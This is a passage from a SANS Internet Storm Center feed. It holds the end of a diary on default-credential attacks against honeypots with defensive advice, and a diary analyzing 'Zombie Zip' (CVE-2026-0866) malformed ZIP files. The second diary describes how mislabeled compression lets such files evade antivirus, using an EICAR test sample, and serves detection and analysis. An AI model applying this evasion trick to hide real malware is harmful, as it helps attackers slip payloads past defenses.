<p>To note in comparison to the other days, where it&rsquo;s not even half of 14k, Figure 3 below dictates the spread.&nbsp;<br />
<img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic6.png" style="width: 587px; height: 355px;" /><br />
Figure 3 &ndash; Failed Connection Attempts Over Time</p>

<p><span style="font-size:16px;"><strong>Best Practices to Follow Towards Resolving Default Credentials</strong></span></p>

<p>The SANS Cybersecurity Policy Template for Password Construction Standard states that it &ldquo;applies to all passwords including but not limited to user-level accounts, system-level accounts, web accounts, e-mail accounts, screen saver protection, voicemail, and local router logins.&rdquo; More specially, the document also states that &ldquo;strong passwords that are long, the more characters a password has the stronger it is,&rdquo; and they &ldquo;recommend a minimum of 16 characters in all work-related passwords [6].&rdquo;</p>

<p>Establish an immediate policy to change the default password of IoT devices, such an example is a network printer that is shipped with default usernames and passwords [7].</p>

<p><span style="font-size:16px;"><strong>Practical Experience Without the Real-World Disaster</strong></span></p>

<p>Having access to a controlled sandbox environment, such as a honeypot lab, provides valuable hands-on experience for cybersecurity practitioners.<br />
Sometimes you may need to deal with and see the real-world disaster in a controlled environment to deal with it and see the ripple effect it may produce.&nbsp;</p>

<p><span style="font-size:16px;"><strong>Why Might this Apply to you?</strong></span></p>

<p>MITRE ATT&amp;CK explicitly documents adversary use of manufacturers set default credentials on control systems. They stress that it must be changed as soon as possible.<br />
This isn&rsquo;t just an enterprise issue. The same risks apply to:</p>

<ul>
	<li>Home routers</li>
	<li>Networked cameras</li>
	<li>Printers</li>
	<li>NAS devices</li>
</ul>

<p>For hiring managers, even job postings that disclose specific infrastructure details can unintentionally assist attackers searching for default credentials.<br />
Ultimately, it&rsquo;s important to deliberately implement data security measures to protect yourself from data breaches at your home or workplace.&nbsp;</p>

<p><span style="font-size:16px;"><strong>Who Can Gain Valuable Insight on this Information?</strong></span></p>

<p>Anyone with an internet or digital fingerprint. More specifically, organization leadership and management, when it comes to training your workforce and training your replacements.<br />
A client-tech department, where a team is dedicated to testing the software or devices on the network, to include validating the version of it through a patching management tool, or reference library to know when versions are outdated. Routine &ldquo;unauthorized&rdquo; or &ldquo;prohibited&rdquo; software reports is an absolute must have in your workplace.<br />
System administrators and SOC analysts are essential to not just know it, but to maintain it. To continue the trend, Cybersecurity students or Professionals such as Red vs. Blue teams [<a href="https://www.techtarget.com/searchsecurity/tip/Red-team-vs-blue-team-vs-purple-team-Whats-the-difference">5</a>] for example will gain significant value in this information.</p>

<p><span style="font-size:16px;"><strong>Moving Forward Even with Good Defense</strong></span></p>

<p>Defense in depth remains critical:</p>

<ul>
	<li>Strong, unique credentials</li>
	<li>Multi factor authentication where possible [<a href="https://owasp.org/www-project-top-10-infrastructure-security-risks/docs/2024/ISR07_2024-Insecure_Authentication_Methods_and_Default_Credentials">7</a>]</li>
	<li>Device fingerprinting</li>
	<li>Continuous monitoring</li>
</ul>

<p>SANS also encourage to utilize passphrases, passwords made up of multiple words. <a href="https://www.sans.org/information-security-policy/password-construction-standard">[6</a>]</p>

<p>A common saying in Cybersecurity is, &ldquo;the more secure the data is, the less convenient the data is&mdash;the less secure, the more convenient.&rdquo;&nbsp;<br />
Organizations should also maintain a Business Impact Analysis (BIA) within their cybersecurity program. Even with strong defensive measures, organizations must assume that some security controls may eventually fail. A Business Impact Analysis (BIA) helps organizations prioritize which assets require the strongest protection by identifying critical, operational dependencies, and acceptable downtime thresholds.</p>

<p>Tying it all together.&nbsp; This recommendation to combined with a defense-in-depth strategy, the BIA ensures that the most important systems receive multiple layers of protection such as network segmentation, strong authentication controls, continuous monitoring, and incident response planning. Without this structured approach, organizations may struggle to recover from a compromise or minimize operational disruption.</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic7.png" style="width: 480px; height: 256px;" /><br />
Figure 4 - Examples of Enterprise Business Asset Types [<a href="https://csrc.nist.gov/pubs/ir/8286/d/upd1/final">9</a>]</p>

<p>Appendix A - Log Sample<br />
<img alt="" src="https://isc.sans.edu/diaryimages/images/Adam_Thorman_pic8.png" style="width: 597px; height: 266px;" /></p>

<p>[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/&nbsp;<br />
[2] https://isc.sans.edu/mysshreports/<br />
[3] https://chatgpt.com/<br />
[4] https://eclypsium.com/blog/cisco-asa-scanning-surge-cyberattack/<br />
[5] https://www.techtarget.com/searchsecurity/tip/Red-team-vs-blue-team-vs-purple-team-Whats-the-difference<br />
[6] https://www.sans.org/information-security-policy/password-construction-standard<br />
[7] https://owasp.org/www-project-top-10-infrastructure-security-risks/docs/2024/ISR07_2024-Insecure_Authentication_Methods_and_Default_Credentials<br />
[8] https://attack.mitre.org/techniques/T0812/<br />
[9] https://csrc.nist.gov/pubs/ir/8286/d/upd1/final (PDF: Using Business Impact Analysis to Inform Risk Prioritization)</p>

<p>-----------<br />
Guy Bruneau <a href="http://www.ipss.ca/">IPSS Inc.</a><br />
<a href="https://github.com/bruneaug/">My GitHub Page</a><br />
Twitter: <a href="https://twitter.com/guybruneau">GuyBruneau</a><br />
gbruneau at isc dot sans dot edu</p>

 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Thu, 12 Mar 2026 01:19:35 GMT</pubDate>  </item>  <item>
    <title><![CDATA[Analyzing "Zombie Zip" Files (CVE-2026-0866), (Wed, Mar 11th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32786</link>    <guid>https://isc.sans.edu/diary/rss/32786</guid><description><![CDATA[ <p>A new vulnerability (CVE-2026-0866) has been <a href="https://kb.cert.org/vuls/id/976247">published</a>: <a href="https://github.com/Bombadil-Systems/zombie-zip">Zombie Zip</a>.</p>&#xd;]]></description><content:encoded><![CDATA[<p>A new vulnerability&nbsp;(CVE-2026-0866) has been <a href="https://kb.cert.org/vuls/id/976247">published</a>: <a href="https://github.com/Bombadil-Systems/zombie-zip">Zombie Zip</a>.</p>

<p>It&#39;s a method to create a malformed ZIP file that will bypass detection by most anti-virus engines.</p>

<p>The malformed ZIP file can not be opened with a ZIP utility, a custom loader is required.</p>

<p>The trick is to change the compression method to STORED while the contend is still DEFLATED: a flag in the ZIP file header states the content is not compressed, while in reality, the content is compressed.</p>

<p>I will show you how to use my tools to analyze such a malformed ZIP file.</p>

<p><u>Simple Method</u></p>

<p>Just run my tool <a href="https://github.com/DidierStevens/Beta/blob/master/search-for-compression.py">search-for-compression.py</a> on the ZIP file (you can download the Zombie ZIP file <a href="https://github.com/Bombadil-Systems/zombie-zip">here</a>, it contains an <a href="https://en.wikipedia.org/wiki/EICAR_test_file">EICAR</a> file):</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-103803.png" style="width: 993px; height: 211px;" /></p>

<p>The largest compression blob is number 2, it is 77 bytes long. Let&#39;s select it:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-103827.png" style="width: 993px; height: 259px;" /></p>

<p>That&#39;s the <a href="https://en.wikipedia.org/wiki/EICAR_test_file">EICAR</a> file.</p>

<p><u>Complex Method</u></p>

<p>We can use the latest version of <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py">zipdump.py</a> to analyze the file:</p>

<p>Just using the tool fails (because the zip file is malformed):</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-104252.png" style="width: 993px; height: 527px;" /></p>

<p>Using option -f to bypass the Python ZIP library for parsing, and using custom code to look for ZIP records (-f l) shows us this is a ZIP file, containing a file with the name eicar.com:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-104331.png" style="width: 993px; height: 185px;" /></p>

<p>Selecting the FILE record (at position 0x00000000, PK0304 fil) shows us all the meta data:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-104404.png" style="width: 993px; height: 347px;" /></p>

<p>The compressiontype is 0 (STORED), this means that the content of the file is just stored inside the ZIP file, not compressed.</p>

<p>But notice that the compressedsize and uncompressedsize are different (70 and 68). It should be the same for a STORED file.</p>

<p>Let&#39;s select the raw file content (-s data) and perform an asciidump (-a):</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-104437.png" style="width: 993px; height: 423px;" /></p>

<p>This does not look like the EICAR file.</p>

<p>Let&#39;s force the decompression of the data: -s forcedecompress:</p>

<p><img alt="" src="https://isc.sans.edu/diaryimages/images/20260311-104458.png" style="width: 993px; height: 419px;" /></p>

<p>This reveals the EICAR file content.</p>

<p>Option forcedecompress is a new option that I just coded in <a href="https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py">zipdump.py</a> version 0.0.35. Option decompress will only decompress if the compression type is DEFLATED, thus it can&#39;t be used on this malformed ZIP file. Option forcedecompress will always try to decompress (and potentially fail), regardless of the compression type.</p>

<p>&nbsp;</p>

<p>Didier Stevens<br />
Senior handler<br />
<a href="http://blog.DidierStevens.com">blog.DidierStevens.com</a></p>

 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Wed, 11 Mar 2026 09:57:26 GMT</pubDate>  </item>  <item>
    <title><![CDATA[ISC Stormcast For Wednesday, March 11th, 2026 https://isc.sans.edu/podcastdetail/9844, (Wed, Mar 11th)]]></title>
    <link>https://isc.sans.edu/diary/rss/32784</link>    <guid>https://isc.sans.edu/diary/rss/32784</guid><description><![CDATA[  (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></description><content:encoded><![CDATA[
 
 (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.]]></content:encoded>    <pubDate>Wed, 11 Mar 2026 02:00:02 GMT</pubDate>  </item></channel>
</rss>
